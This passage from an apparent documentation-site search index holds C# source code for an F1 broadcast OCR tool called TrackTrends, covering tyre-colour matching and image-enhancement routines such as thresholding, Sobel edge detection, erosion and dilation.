laps > 75 ) laps = 0 ; return new Tyre ( type , laps ); } /// /// Finds where the important part of the image is /// /// A rectangle containing position and dimensions of the important part of the image private Rectangle FindTyreZone () { Bitmap bmp = WindowImage ; int currentPosition = bmp . Width ; int height = bmp . Height / 2 ; Color limitColor = Color . FromArgb ( 0 x50 , 0 x50 , 0 x50 ); Color currentColor = Color . FromArgb ( 0 , 0 , 0 ); //25F Size newWindowSize = new Size ( bmp . Height - Convert . ToInt32 (( float ) bmp . Height / 100f * 25f ), bmp . Height - Convert . ToInt32 (( float ) bmp . Height / 100f * 35f )); while ( currentColor . R <= limitColor . R && currentColor . G <= limitColor . G && currentColor . B <= limitColor . B && currentPosition > 0 ) { currentPosition --; currentColor = bmp . GetPixel ( currentPosition , height ); } //Its here to let the new window include a little bit of the right int CorrectedX = currentPosition - ( newWindowSize . Width ) + Convert . ToInt32 (( float ) newWindowSize . Width / 100f * 10f ); int CorrectedY = Convert . ToInt32 (( float ) newWindowSize . Height / 100f * 35f ); if ( CorrectedX <= 0 ) return new Rectangle ( 0 , 0 , newWindowSize . Width , newWindowSize . Height ); return new Rectangle ( CorrectedX , CorrectedY , newWindowSize . Width , newWindowSize . Height ); } //This method has been created with the help of chatGPT /// /// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is /// /// The color that you found /// The tyre type public Tyre . Type GetTyreTypeFromColor ( Color inputColor ) { Tyre . Type type = Tyre . Type . Undefined ; List < Color > colors = new List < Color >(); //dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list //You will also need to add it below in the Tyre object's enum and add an if in the end of this method colors . Add ( SOFT_TYRE_COLOR ); colors . Add ( MEDIUM_TYRE_COLOR ); colors . Add ( HARD_TYRE_COLOR ); colors . Add ( INTER_TYRE_COLOR ); colors . Add ( WET_TYRE_COLOR ); colors . Add ( EMPTY_COLOR ); Color closestColor = colors [ 0 ]; int closestDistance = int . MaxValue ; foreach ( Color color in colors ) { int distance = Math . Abs ( color . R - inputColor . R ) + Math . Abs ( color . G - inputColor . G ) + Math . Abs ( color . B - inputColor . B ); if ( distance < closestDistance ) { closestColor = color ; closestDistance = distance ; } } //We cant use a switch as the colors cant be constants ... if ( closestColor == SOFT_TYRE_COLOR ) type = Tyre . Type . Soft ; if ( closestColor == MEDIUM_TYRE_COLOR ) type = Tyre . Type . Medium ; if ( closestColor == HARD_TYRE_COLOR ) type = Tyre . Type . Hard ; if ( closestColor == INTER_TYRE_COLOR ) type = Tyre . Type . Inter ; if ( closestColor == WET_TYRE_COLOR ) type = Tyre . Type . Wet ; if ( closestColor == EMPTY_COLOR ) return Tyre . Type . Undefined ; return type ; } } }","title":"DriverTyresWindow.cs"},{"location":"Code/OcrImage.html","text":"OcrImage.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : OcrImage.cs /// Brief : Class containing all the methods used to enhance images for OCR /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Threading.Tasks ; using System.Drawing ; using System.Drawing.Drawing2D ; using System.Drawing.Imaging ; namespace TrackTrends { public class OcrImage { //this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes //Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information public static Color F1TV_BACKGROUND_TRESHOLD = Color . FromArgb ( 0 x50 , 0 x50 , 0 x50 ); Bitmap InputBitmap ; public enum WindowType { LapTime , Text , Sector , Gap , Tyre , } /// /// Create a new Ocr image to help enhance the given bitmap for OCR /// /// The image you want to enhance public OcrImage ( Bitmap inputBitmap ) { InputBitmap = inputBitmap ; } /// /// Enhances the image depending on wich type of window the image comes from /// /// The type of the window. Depending on it different enhancing features will be applied /// The enhanced Bitmap public Bitmap Enhance ( WindowType type = WindowType . Text ) { Bitmap outputBitmap = ( Bitmap ) InputBitmap . Clone (); //Note : If you plan to activate all the comments that I used to debug the OCR I would advise to make sure that the debug folder exists switch ( type ) { case WindowType . Gap : //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 165 ); //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\treshold_\" + id + \".png\"); outputBitmap = Resize ( outputBitmap , 2 ); //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\resize_\" + id + \".png\"); outputBitmap = Dilatation ( outputBitmap , 1 ); //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\Final_dilatation_\" + id + \".png\"); break ; case WindowType . Sector : //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = VanishOxyAction ( outputBitmap ); //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @\"\\vanish_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 150 ); //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @\"\\Final_treshold_\" + id + \".png\"); break ; case WindowType . LapTime : //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 185 ); //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @\"\\Treshold_\" + id + \".png\"); outputBitmap = SobelEdgeDetection ( outputBitmap ); //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @\"\\SobelDetection_\" + id + \".png\"); break ; case WindowType . Text : //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 165 ); //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @\"\\Final_treshold_\" + id + \".png\"); break ; case WindowType . Tyre : //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = RemoveUseless ( outputBitmap ); //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @\"\\uselessRemoved_\" + id + \".png\"); outputBitmap = Dilatation ( outputBitmap , 1 ); //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @\"\\Final_dilatation_\" + id + \".png\"); break ; default : outputBitmap = Tresholding ( outputBitmap , 165 ); outputBitmap = Resize ( outputBitmap , 2 ); outputBitmap = Erode ( outputBitmap , 1 ); break ; } return outputBitmap ; } /// /// Method that convert a colored RGB bitmap into a GrayScale image /// /// The Bitmap you want to convert /// The bitmap in grayscale public static Bitmap Grayscale ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); byte blue = pixel [ 0 ]; byte green = pixel [ 1 ]; byte red = pixel [ 2 ]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = ( int )( red * 0.3 + green * 0.59 + blue * 0.11 ); //This is not a proper treshold method but it is helping the sobel edge detection if ( gray <= F1TV_BACKGROUND_TRESHOLD . R ) { pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = 0 ; } else { pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = ( byte ) gray ; } } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that uses the Sobel Edge detection to outline the edges of the characters to help with the OCR /// /// The image with the sobel edge detection used /// private Bitmap SobelEdgeDetection ( Bitmap grayscaleImage ) { // Create a new bitmap for the edges Bitmap edgesImage = new Bitmap ( grayscaleImage . Width , grayscaleImage . Height ); // Define the Sobel operators // Its just a matrix that we will use on the all image int [,] sobelX = { { - 1 , 0 , 1 }, { - 2 , 0 , 2 }, { - 1 , 0 , 1 } }; int [,] sobelY = { { - 1 , - 2 , - 1 }, { 0 , 0 , 0 }, { 1 , 2 , 1 } }; // Apply the Sobel operators and normalize the gradients // NOTE: I dont know how easy or hard it would be to make this paralel but it could be a good idea to do so if possible. for ( int y = 1 ; y < grayscaleImage . Height - 1 ; y ++) { for ( int x = 1 ; x < grayscaleImage . Width - 1 ; x ++) { int gradientX = CalculateGradient ( grayscaleImage , sobelX , x , y ); int gradientY = CalculateGradient ( grayscaleImage , sobelY , x , y ); int gradient = ( int ) Math . Sqrt ( gradientX * gradientX + gradientY * gradientY ); // Normalize the gradient value // In some rare cases the value can exceed 255 so we limit it with the Math.Min method gradient = Math . Min ( 255 , Math . Max ( 0 , gradient )); edgesImage . SetPixel ( x , y , Color . FromArgb ( gradient , gradient , gradient )); } } return edgesImage ; } /// /// Method that's here to be used by the sobel edge detection method (Chat GPT has been used for parts of this method) /// /// The input image with the grayscale processing already done /// The matrix to apply /// /// /// Returns the processed gradient private int CalculateGradient ( Bitmap grayscaleImage , int [,] sobelOperator , int x , int y ) { int gradient = 0 ; for ( int j = - 1 ; j <= 1 ; j ++) { for ( int i = - 1 ; i <= 1 ; i ++) { int pixelX = grayscaleImage . GetPixel ( x + i , y + j ). R ; gradient += sobelOperator [ j + 1 , i + 1 ] * pixelX ; } } return gradient ; } /// /// Method that is used to whiten an image. Ignore the funny name. Its used to prevent colored text to trouble the OCR when it uses grayscaling /// /// The bitmap to vanish /// public static Bitmap VanishOxyAction ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { //Note : MAKE THIS PARALELL OMG WY DID I LEFT IT LIKE THAT byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int blue = ( int ) pixel [ 0 ]; int green = ( int ) pixel [ 1 ]; int red = ( int ) pixel [ 2 ]; int max = Math . Max ( Math . Max ( blue , green ), red ); if ( max > 255 / 3 ) max = 255 ; pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = ( byte ) max ; } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that binaries the input image up to a certain treshold given /// /// the bitmap you want to convert to binary colors /// The floor at wich the color is considered as white or black /// The binarised bitmap public static Bitmap Tresholding ( Bitmap inputBitmap , int threshold ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); int bmpHeight = inputBitmap . Height ; int bmpWidth = inputBitmap . Width ; Parallel . For ( 0 , bmpHeight , y => { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < bmpWidth ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); byte blue = pixel [ 0 ]; byte green = pixel [ 1 ]; byte red = pixel [ 2 ]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = ( int )( red * 0.3 + green * 0.59 + blue * 0.11 ); int value = gray < threshold ? 0 : 255 ; pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = ( byte ) value ; } }); } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that removes the pixels that are flagged as background /// /// The bitmap you want to remove the background from /// The Bitmap without the background public static Bitmap RemoveBG ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( R <= F1TV_BACKGROUND_TRESHOLD . R && G <= F1TV_BACKGROUND_TRESHOLD . G && B <= F1TV_BACKGROUND_TRESHOLD . B ) pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = 0 ; } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that removes all the useless things from the image and returns hopefully only the numbers /// /// The bitmap you want to remove useless things from (Expects a cropped part of the TyreWindow) /// The bitmap with (hopefully) only the digits public unsafe static Bitmap RemoveUseless ( Bitmap inputBitmap ) { //Note you can use something else than a cropped tyre window but I would recommend checking the code first to see if it fits your intended use Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); List < int > pixelsToRemove = new List < int >(); bool fromBorder = true ; for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( fromBorder && B < F1TV_BACKGROUND_TRESHOLD . B && G < F1TV_BACKGROUND_TRESHOLD . G && R < F1TV_BACKGROUND_TRESHOLD . R ) { pixelsToRemove . Add ( x ); } else { if ( fromBorder ) { fromBorder = false ; pixelsToRemove . Add ( x ); } } } fromBorder = true ; for ( int x = inputBitmap . Width - 1 ; x > 0 ; x --) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( fromBorder && B < F1TV_BACKGROUND_TRESHOLD . B && G < F1TV_BACKGROUND_TRESHOLD . G && R < F1TV_BACKGROUND_TRESHOLD . R ) { pixelsToRemove . Add ( x ); } else { if ( fromBorder ) { fromBorder = false ; pixelsToRemove . Add ( x ); } } } foreach ( int pxPos in pixelsToRemove ) { byte * pixel = currentLine + ( pxPos * bytesPerPixel ); pixel [ 0 ] = 0 xFF ; pixel [ 1 ] = 0 xFF ; pixel [ 2 ] = 0 xFF ; } } //Removing the color parts for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( R >= F1TV_BACKGROUND_TRESHOLD . R + 25 || G >= F1TV_BACKGROUND_TRESHOLD . G + 25 || B >= F1TV_BACKGROUND_TRESHOLD . B + 25 ) { pixel [ 0 ] = 0 xFF ; pixel [ 1 ] = 0 xFF ; pixel [ 2 ] = 0 xFF ; } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Recovers the average colors from the Image. NOTE : It wont take in account colors that are lower than the background /// /// The bitmap you want to get the average color from /// The average color of the bitmap public static Color GetAvgColorFromBitmap ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; int totR = 0 ; int totG = 0 ; int totB = 0 ; int totPixels = 1 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); int bmpHeight = inputBitmap . Height ; int bmpWidth = inputBitmap . Width ; Parallel . For ( 0 , bmpHeight , y => { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < bmpWidth ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); int B = pixel [ 0 ]; int G = pixel [ 1 ]; int R = pixel [ 2 ]; if ( R >= F1TV_BACKGROUND_TRESHOLD . R || G >= F1TV_BACKGROUND_TRESHOLD . G || B >= F1TV_BACKGROUND_TRESHOLD . B ) { totPixels ++; totB += pixel [ 0 ]; totG += pixel [ 1 ]; totR += pixel [ 2 ]; } } }); } inputBitmap . UnlockBits ( bmpData ); return Color . FromArgb ( 255 , Math . Min ( Convert . ToInt32 (( float ) totR / ( float ) totPixels ), 255 ), Math . Min ( Convert . ToInt32 (( float ) totG / ( float ) totPixels ), 255 ), Math . Min ( Convert . ToInt32 (( float ) totB / ( float ) totPixels ), 255 )); } /// /// This method simply inverts all the colors in a Bitmap /// /// the bitmap you want to invert the colors from /// The bitmap with inverted colors public static Bitmap InvertColors ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); pixel [ 0 ] = ( byte )( 255 - pixel [ 0 ]); pixel [ 1 ] = ( byte )( 255 - pixel [ 1 ]); pixel [ 2 ] = ( byte )( 255 - pixel [ 2 ]); } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Methods that applies Bicubic interpolation to increase the size and resolution of an image /// /// The bitmap you want to resize /// The factor of resizing you want to use. I recommend using even numbers /// The bitmap witht the new size public static Bitmap Resize ( Bitmap inputBitmap , int resizeFactor ) { var resultBitmap = new Bitmap ( inputBitmap . Width * resizeFactor , inputBitmap . Height * resizeFactor ); using ( var graphics = Graphics . FromImage ( resultBitmap )) { graphics . InterpolationMode = InterpolationMode . HighQualityBicubic ; graphics . DrawImage ( inputBitmap , new Rectangle ( 0 , 0 , resultBitmap . Width , resultBitmap . Height )); } return resultBitmap ; } /// /// method that Highlights the countours of a Bitmap /// /// The bitmap you want to highlight the countours of /// The bitmap with countours highlighted public static Bitmap HighlightContours ( Bitmap inputBitmap ) { Bitmap outputBitmap = new Bitmap ( inputBitmap . Width , inputBitmap . Height ); Bitmap grayscale = Grayscale ( inputBitmap ); Bitmap thresholded = Tresholding ( grayscale , 128 ); Bitmap dilated = Dilatation ( thresholded , 3 ); Bitmap eroded = Erode ( dilated , 3 ); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { for ( int x = 0 ; x < inputBitmap . Width ; x ++) { Color pixel = inputBitmap . GetPixel ( x , y ); Color dilatedPixel = dilated . GetPixel ( x , y ); Color erodedPixel = eroded . GetPixel ( x , y ); int gray = ( int )( pixel . R * 0.3 + pixel . G * 0.59 + pixel . B * 0.11 ); int threshold = dilatedPixel . R ; if ( gray > threshold ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 255 , 255 )); } else if ( gray <= threshold && erodedPixel . R == 0 ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 0 , 0 )); } else { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 0 , 0 , 0 )); } } } return outputBitmap ; } /// /// Method that that erodes the morphology of a bitmap /// /// The bitmap you want to erode /// The amount of Erosion you want (be carefull its expensive on ressources) /// The Bitmap with the eroded contents public static Bitmap Erode ( Bitmap inputBitmap , int kernelSize ) { Bitmap outputBitmap = new Bitmap ( inputBitmap . Width , inputBitmap . Height ); int [,] kernel = new int [ kernelSize , kernelSize ]; for ( int i = 0 ; i < kernelSize ; i ++) { for ( int j = 0 ; j < kernelSize ; j ++) { kernel [ i , j ] = 1 ; } } for ( int y = kernelSize / 2 ; y < inputBitmap . Height - kernelSize / 2 ; y ++) { for ( int x = kernelSize / 2 ; x < inputBitmap . Width - kernelSize / 2 ; x ++) { bool flag = true ; for ( int i = - kernelSize / 2 ; i <= kernelSize / 2 ; i ++) { for ( int j = - kernelSize / 2 ; j <= kernelSize / 2 ; j ++) { Color pixel = inputBitmap . GetPixel ( x + i , y + j ); int gray = ( int )( pixel . R * 0.3 + pixel . G * 0.59 + pixel . B * 0.11 ); if ( gray >= 128 && kernel [ i + kernelSize / 2 , j + kernelSize / 2 ] == 1 ) { flag = false ; break ; } } if (! flag ) { break ; } } if ( flag ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 255 , 255 )); } else { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 0 , 0 , 0 )); } } } return outputBitmap ; } /// /// Method that that use dilatation of the morphology of a bitmap /// /// The bitmap you want to use dilatation on /// The amount of dilatation you want (be carefull its expensive on ressources) /// The Bitmap after Dilatation public static Bitmap Dilatation ( Bitmap inputBitmap , int kernelSize ) { Bitmap outputBitmap = new Bitmap ( inputBitmap . Width , inputBitmap . Height ); int [,] kernel = new int [ kernelSize , kernelSize ]; for ( int i = 0 ; i < kernelSize ; i ++) { for ( int j = 0 ; j < kernelSize ; j ++) { kernel [ i , j ] = 1 ; } } for ( int y = kernelSize / 2 ; y < inputBitmap . Height - kernelSize / 2 ; y ++) { for ( int x = kernelSize / 2 ; x < inputBitmap . Width - kernelSize / 2 ; x ++) { bool flag = false ; for ( int i = - kernelSize / 2 ; i <= kernelSize / 2 ; i ++) { for ( int j = - kernelSize / 2 ; j <= kernelSize / 2 ; j ++) { Color pixel = inputBitmap . GetPixel ( x + i , y + j ); int gray = ( int )( pixel . R * 0.3 + pixel . G * 0.59 + pixel . B * 0.11 ); if ( gray < 128 && kernel [ i + kernelSize / 2 , j + kernelSize / 2 ] == 1 ) { flag = true ; break ; } } if ( flag ) { break ; } } if ( flag ) { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 0 , 0 , 0 )); } else { outputBitmap . SetPixel ( x , y , Color . FromArgb ( 255 , 255 , 255 )); } } } return outputBitmap ; } } }","title":"OcrImage.cs"},{"location":"Code/OcrImage.html#ocrimagecs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : OcrImage.cs /// Brief : Class containing all the methods used to enhance images for OCR /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Threading.Tasks ; using System.Drawing ; using System.Drawing.Drawing2D ; using System.Drawing.Imaging ; namespace TrackTrends { public class OcrImage { //this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes //Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information public static Color F1TV_BACKGROUND_TRESHOLD = Color . FromArgb ( 0 x50 , 0 x50 , 0 x50 ); Bitmap InputBitmap ; public enum WindowType { LapTime , Text , Sector , Gap , Tyre , } /// /// Create a new Ocr image to help enhance the given bitmap for OCR /// /// The image you want to enhance public OcrImage ( Bitmap inputBitmap ) { InputBitmap = inputBitmap ; } /// /// Enhances the image depending on wich type of window the image comes from /// /// The type of the window. Depending on it different enhancing features will be applied /// The enhanced Bitmap public Bitmap Enhance ( WindowType type = WindowType . Text ) { Bitmap outputBitmap = ( Bitmap ) InputBitmap . Clone (); //Note : If you plan to activate all the comments that I used to debug the OCR I would advise to make sure that the debug folder exists switch ( type ) { case WindowType . Gap : //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 165 ); //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\treshold_\" + id + \".png\"); outputBitmap = Resize ( outputBitmap , 2 ); //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\resize_\" + id + \".png\"); outputBitmap = Dilatation ( outputBitmap , 1 ); //outputBitmap.Save(Window.GAPTOLEADER_DEBUG_FOLDER + @\"\\Final_dilatation_\" + id + \".png\"); break ; case WindowType . Sector : //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = VanishOxyAction ( outputBitmap ); //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @\"\\vanish_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 150 ); //outputBitmap.Save(Window.SECTOR1_DEBUG_FOLDER + @\"\\Final_treshold_\" + id + \".png\"); break ; case WindowType . LapTime : //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 185 ); //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @\"\\Treshold_\" + id + \".png\"); outputBitmap = SobelEdgeDetection ( outputBitmap ); //outputBitmap.Save(Window.LAPTIME_DEBUG_FOLDER + @\"\\SobelDetection_\" + id + \".png\"); break ; case WindowType . Text : //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = Tresholding ( outputBitmap , 165 ); //outputBitmap.Save(Window.STRING_DEBUG_FOLDER + @\"\\Final_treshold_\" + id + \".png\"); break ; case WindowType . Tyre : //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @\"\\raw_\" + id + \".png\"); outputBitmap = RemoveUseless ( outputBitmap ); //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @\"\\uselessRemoved_\" + id + \".png\"); outputBitmap = Dilatation ( outputBitmap , 1 ); //outputBitmap.Save(Window.TYRE_DEBUG_FOLDER + @\"\\Final_dilatation_\" + id + \".png\"); break ; default : outputBitmap = Tresholding ( outputBitmap , 165 ); outputBitmap = Resize ( outputBitmap , 2 ); outputBitmap = Erode ( outputBitmap , 1 ); break ; } return outputBitmap ; } /// /// Method that convert a colored RGB bitmap into a GrayScale image /// /// The Bitmap you want to convert /// The bitmap in grayscale public static Bitmap Grayscale ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , inputBitmap . Width , inputBitmap . Height ); BitmapData bmpData = inputBitmap . LockBits ( rect , ImageLockMode . ReadWrite , inputBitmap . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( inputBitmap . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < inputBitmap . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < inputBitmap . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); byte blue = pixel [ 0 ]; byte green = pixel [ 1 ]; byte red = pixel [ 2 ]; //Those a specific values to correct the weights so its more pleasing to the human eye int gray = ( int )( red * 0.3 + green * 0.59 + blue * 0.11 ); //This is not a proper treshold method but it is helping the sobel edge detection if ( gray <= F1TV_BACKGROUND_TRESHOLD . R ) { pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = 0 ; } else { pixel [ 0 ] = pixel [ 1 ] = pixel [ 2 ] = ( byte ) gray ; } } } } inputBitmap . UnlockBits ( bmpData ); return inputBitmap ; } /// /// Method that uses the Sobel Edge detection to outline the edges of the characters to help with the OCR /// /// The image with the sobel edge detection used /// private Bitmap SobelEdgeDetection ( Bitmap grayscaleImage ) { // Create a new bitmap for the edges Bitmap edgesImage = new Bitmap ( grayscaleImage . Width , grayscaleImage . Height ); // Define the Sobel operators // Its just a matrix that we will use on the all image int [,] sobelX = { { - 1 , 0 , 1 }, { - 2 , 0 , 2 }, { - 1 , 0 , 1 } }; int [,] sobelY = { { - 1 , - 2 , - 1 }, { 0 , 0 , 0 }, { 1 , 2 , 1 } }; // Apply the Sobel operators and normalize the gradients // NOTE: I dont know how easy or hard it would be to make this paralel but it could be a good idea to do so if possible. for ( int y = 1 ; y < grayscaleImage . Height - 1 ; y ++) { for ( int x = 1 ; x < grayscaleImage . Width - 1 ; x ++) { int gradientX = CalculateGradient ( grayscaleImage , sobelX , x , y ); int gradientY = CalculateGradient ( grayscaleImage , sobelY , x , y ); int gradient = ( int ) Math . Sqrt ( gradientX * gradientX + gradientY * gradientY ); // Normalize the gradient value // In some rare cases the value can exceed 255 so we limit it with the Math.Min method gradient = Math . Min ( 255 , Math . Max ( 0 , gradient )); edgesImage . SetPixel ( x , y , Color . FromArgb ( gradient , gradient , gradient )); } } return edgesImage ; } /// /// Method that's here to be used by the sobel edge detection method (Chat GPT has been used for parts of this method) /// /// The input image with the grayscale processing already done /// The matrix to apply /// /// /// Returns the processed gradient private int CalculateGradient ( Bitmap grayscaleImage , int [,] sobelOperator , int x , int y ) { int gradient = 0 ; for ( int j = - 1 ; j <= 1 ; j ++) { for ( int i = - 1 ; i <= 1 ; i ++) { int pixelX = grayscaleImage . GetPixel ( x + i , y + j ). R ; gradient += sobelOperator [ j + 1 , i + 1 ] * pixelX ; } } return gradient ; } /// /// Method that is used to whiten an image. Ignore the funny name. Its used to prevent colored text to trouble the OCR when it uses grayscaling /// /// The bitmap to vanish /// public static Bitmap VanishOxyAction ( Bitmap inputBitmap ) { Rectangle rect = new Rectangle ( 0 , 0 , 